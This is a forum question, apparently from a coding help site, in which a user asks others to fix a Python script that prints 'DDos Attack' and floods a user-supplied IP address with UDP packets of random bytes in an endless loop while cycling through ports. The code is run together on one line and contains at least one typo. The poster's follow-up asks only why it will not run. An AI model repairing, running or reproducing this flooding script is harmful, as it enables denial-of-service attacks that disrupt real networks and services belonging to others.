0

Program has a mistake, can someone correct it?

import sys import os import time import socket import random #Code Time from datetime import datetime from datetime import datetime now = datetime.now() hour = now.hourminute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) os.system("clear") os.system("figlet DDos Attack") print print ("Author : HA-MRX") print ip = raw_input("IP Target : ") port = input("Port : ") ############# time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print ("Sent %s packet to %s throught port:%s")%(sent,ip,port) if port == 65534: port = 1

25th Jul 2019, 8:11 AM
Joe
Joe - avatar
3 Answers
0
I mean, where is mistake, i cant run this code in IDE. Did you find it?đŸ™đŸ»
25th Jul 2019, 10:07 AM
Joe
Joe - avatar